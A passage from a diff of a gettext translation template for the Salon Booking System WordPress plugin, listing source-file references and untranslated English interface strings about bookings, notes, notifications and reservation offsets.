System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1033\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1119\n+#, php-format\n+msgid \"Not enough attendants available for %1$s service. Required: %2$d\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_item_400.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_item_600.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_item_900.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_400.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_600.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_900.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57\n+msgid \"Not enough time for this service\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_okbox.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:10\n-msgid \"Pending booking number\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:427\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:427\n+msgid \"Not included in your plan\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:122\n+msgid \"Not now\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:358\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:358\n+msgid \"Not rated yet\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_okbox.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:15\n-msgid \"Total amount of the reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:60\n+msgid \"\"\n+\"Note that during the Offset interval new reservations will not be available.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_salon_thankyou_okbox.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:21\n-msgid \"Amount to be paid in advance\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:313\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:313\n+msgid \"Note:\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the number of transaction fee\n-#: views\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12\n-msgid \"A transaction fee of %s will be applied\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:787\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:787\n+msgid \"Notes\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_services_data_empty.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:7\n-msgid \"SORRY! The services\u002Fassistants data is empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:58\n+msgid \"notes\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_services_data_empty.php:9, views\u002Fshortcode\u002F_unavailable.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_unavailable.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_unavailable.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_unavailable.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_unavailable.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_unavailable.php:7\n-msgid \"Please start over your reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:295\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:295\n+msgid \"Notification from\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_services_item_400.php:62, views\u002Fshortcode\u002F_services_item_600.php:62, views\u002Fshortcode\u002F_services_item_900.php:62, src\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_item_400.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_item_600.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_services_item_900.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_400.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_600.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_900.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_item_400.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_item_600.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_services_item_900.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_item_400.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_item_600.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_services_item_900.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_item_400.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_item_600.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_services_item_900.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:57\n-msgid \"Not enough time for this service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:129\n+msgid \"Notify this discout by email.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002F_unavailable.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_unavailable.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_unavailable.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_unavailable.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_unavailable.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_unavailable.php:5\n-msgid \"Time-slot already booked, please start over.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:83\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:83\n+msgid \"Number\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fpending.php:8\n-msgid \"you reservation well be reviewd soon\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:31\n+msgid \"NUMBER OF FOR EACH SERVICE\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fpending.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fpending.php:8\n-msgid \"you'll recevi an email when approved.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104\n+msgid \"Number of reservations\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fpending.php:27, views\u002Fsms\u002Fremind.php:35, views\u002Fsms\u002Fremind.php:63, views\u002Fsms\u002Fsummary.php:34, views\u002Fsms\u002Fsummary_modified.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fpending.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fsummary.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fsummary_modified.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fsummary.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fsummary_modified.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fpending.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fsummary.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fsummary_modified.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fpending.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fsummary.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fsummary_modified.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fpending.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fsummary.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fsummary_modified.php:33\n-msgid \"...more details in the email confirmation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:167\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:167\n+msgid \"Number of reserved booking\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fremind.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:47\n-msgid \"don't forget your reservation at\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:242\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:242\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:145\n+msgid \"of\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:37\n+msgid \"\"\n+\"Offer demand-based pricing with the Dynamic Pricing add-on for Salon Booking \"\n+\"System.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:10\n+msgid \"Offset between reservations\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:21\n+msgid \"Offset duration\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 